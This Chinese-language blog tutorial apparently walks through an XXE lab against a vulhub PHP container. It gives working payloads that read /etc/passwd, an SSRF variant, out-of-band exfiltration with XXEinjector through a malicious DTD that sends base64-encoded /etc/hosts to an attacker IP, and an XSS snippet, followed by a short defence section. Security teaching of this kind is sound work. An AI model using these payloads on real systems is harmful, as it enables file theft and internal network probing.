XXE攻击那些事
总阅读次
有回显攻击
先做实验再讲概念。目前Kali默认安装的libxml扩展版本是2.9.4 ,解析外部实体时服务器会500。因为libxml2 2.9.4之前版本,parser.c/xmlStringLenDecodeEntities函数存在XML外部实体漏洞,不在验证模式时,可使上下文独立的攻击者读取任意文件或造成拒绝服务。
libxml2.8.0安装参考phithon的Dockerfile1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51FROM vulhub/php:7.1-apache
MAINTAINER phithon <root@leavesongs.com>
RUN apt-get update && apt-get install -y gcc wget
RUN wget http://xmlsoft.org/sources/libxml2-2.8.0.tar.gz -O /home/libxml2-2.8.0.tar.gz
RUN cd /home/ && tar -zxvf libxml2-2.8.0.tar.gz && rm -f /home/libxml2-2.8.0.tar.gz
RUN cd /home/libxml2-2.8.0 && ./configure && make && make install && make clean && cd / && rm -rf /home/libxml2-2.8.0
RUN set -xe \
&& buildDeps=" \
$PHP_EXTRA_BUILD_DEPS \
libcurl4-openssl-dev \
libedit-dev \
libsqlite3-dev \
libssl-dev \
libxml2-dev \
" \
&& apt-get install -y $buildDeps --no-install-recommends && rm -rf /var/lib/apt/lists/* \
\
&& docker-php-source extract \
&& cd /usr/src/php \
&& ./configure \
--with-config-file-path="$PHP_INI_DIR" \
--with-config-file-scan-dir="$PHP_INI_DIR/conf.d" \
\
--disable-cgi \
\
# --enable-ftp is included here because ftp_ssl_connect() needs ftp to be compiled statically (see https://github.com/docker-library/php/issues/236)
--enable-ftp \
# --enable-mbstring is included here because otherwise there's no way to get pecl to use it properly (see https://github.com/docker-library/php/issues/195)
--enable-mbstring \
# --enable-mysqlnd is included here because it's harder to compile after the fact than extensions are (since it's a plugin for several extensions, not an extension in itself)
--enable-mysqlnd \
\
--with-curl \
--with-libedit \
--with-openssl \
--with-zlib \
\
$PHP_EXTRA_CONFIGURE_ARGS \
&& make -j "$(nproc)" \
&& make install \
&& { find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; } \
&& make clean \
&& docker-php-source delete \
\
&& apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false $buildDeps wget
这里我直接用的Docker搭建实验环境,项目地址。安装了Dokcer的ubuntu作为被攻击者,Kali作为攻击机。
ubuntu受害机运行vulhub的Docker镜像后,在挂载的目录www下添加test.php文件
1 | <?php |
Kali此时运行可以看到回显
1 | curl -d @tmp.txt http://192.168.146.130/test.php |
POST过去的tmp.txt的内容为
1 | <creds> |
显然这里如果是真实的场景,我们可以通过抓包修改POST的内容达到XXE注入的效果。这里我直接修改tmp.txt的内容为1
2
3
4
5
6
7
8<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
再次执行命令看到回显
1 | curl -d @tmp.txt http://192.168.146.130/test.php |
如果此时将抓包内容改为
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
可以达到SSRF的效果
1 | <b>Warning</b>: DOMDocument::loadXML(http://127.0.0.1:81/): failed to open stream: Connection refused in <b>/var/www/html/test.php</b> on line <b>5</b><br /> |
概念
这时可以开始了解一些概念。
- 按实体声明的位置分为内部实体、外部实体。
内部实体1
2
3
4
5
6
7
8
9
10
11
12
13<!ENTITY entity_name "entity_value">
例子:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE address [
<!ELEMENT address (#PCDATA)>
<!ENTITY name "Tanmay patil">
<!ENTITY company "TutorialsPoint">
<!ENTITY phone_no "(011) 123-4567">
]>
<address>
&name;
&company;
&phone_no;
</address>
保存为xml丢到浏览器就可以看到替换效果
而外部实体
1 | <!ENTITY name SYSTEM "URI/URL"> |
2.因为实体值不能是’&’,’%’或’”‘等字符,按照功用实体分为
内置实体:
1
2
3
4
5
6
7
8
9&符号:&amp;
单引号:'
大于:&gt;
小于:&lt;
双引号:“字符实体
1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
一般实体
上面的例子全是一般实体,引用啥就是啥参数实体
1
<!ENTITY % ename "entity_value">
把实体参数化,方便从其他地方的DTD文件中引用新的 实体。
内置实体、字符实体和HTML中的实体很类似,一般实体针对本DTD,参数实体针对引用外部DTD。参考资料
PS.内置实体、字符实体可以运用到XSS中,如
1 | 可执行:<svg/onload=alert(/XSS/)></svg> |
无回显攻击
修改test.php去掉回显语句
1 | <?php |
因为无法直接将要读取的文件内容发送到服务器,所以通过将读取到的文件内容保存到变量,然后将变量代入到url中传给远端服务器,从日志中提取信息。其实也就是使用传统的带外攻击。
使用工具XXEinjector 完成带外攻击。
1 | git clone https://github.com/enjoiz/XXEinjector.git |
代理到burp抓包1
curl -d @tmp.txt http://192.168.146.130/test.php --proxy http://127.0.0.1:8080
tmp.txt内容为
1 | <creds> |
抓到的包为
1 | POST /test.php HTTP/1.1 |
在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt
1 | POST /test.php HTTP/1.1 |
使用工具,host为回连主机IP,path为要读取的文件或目录,file为原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置,oob为使用的协议,支持 http/ftp/gopher,这里使用http,phpfilter为使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题
1 | sudo ruby XXEinjector.rb --host=192.168.146.128 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8080 --oob=http --verbose --phpfilter |
抓到发包
1 | POST /test.php HTTP/1.1 |
恶意DTD文件file.dtd内容为
1 | <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"> |
实体值不能为%,被转换为1
%
此处payload也可以是1
<!ENTITY % bbb SYSTEM "file:///etc/hosts"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://fakeuser:%bbb;@192.168.146.128:2121/b'>">
但是因为没有编码,无法传输特殊符号,功能十分受限
根据不同环境可以做出不同的利用方法
libxml2 | php | Java | .NET |
---|---|---|---|
ftp | ftp | http | file |
http | file | https | http |
file | http | ftp | https |
X | php | jar | ftp |
X | compress.zlib | netdoc | |
X | compress.bzlib2 | mailto | |
X | data | gopher | |
X | glob | file | |
X | phar |
攻击成功后文件内容保存在Logs目录下
1 | Response with file/directory content received: |
1 | root@kali:~/XXEinjector# cat Logs/192.168.146.130/etc/hosts.log |
执行命令
需要用到expect扩展,打开官网发现应该是不支持php7了,而vulhub里的Docker使用的是php7
其他玩法
- 通过目标机器发起请求获取真实IP
- DOS
某些场景,修改Content-type,由application/json改为application/xml,完成XXE,参考
如果想要改造这个工具来递归获取目标机器的文件,测试了一下,一般的php环境貌似不可行,而java环境很有可能成功。java环境搭建方法在这,需要安装maven(sudo apt-get install maven)。
XXE漏洞修复与防御
1 | PHP |
参考链接:
- http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/
- https://b1ngz.github.io/XXE-learning-note/
- https://github.com/vulhub/vulhub/tree/master/php_xxe
- https://vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
- https://security.tencent.com/index.php/blog/msg/69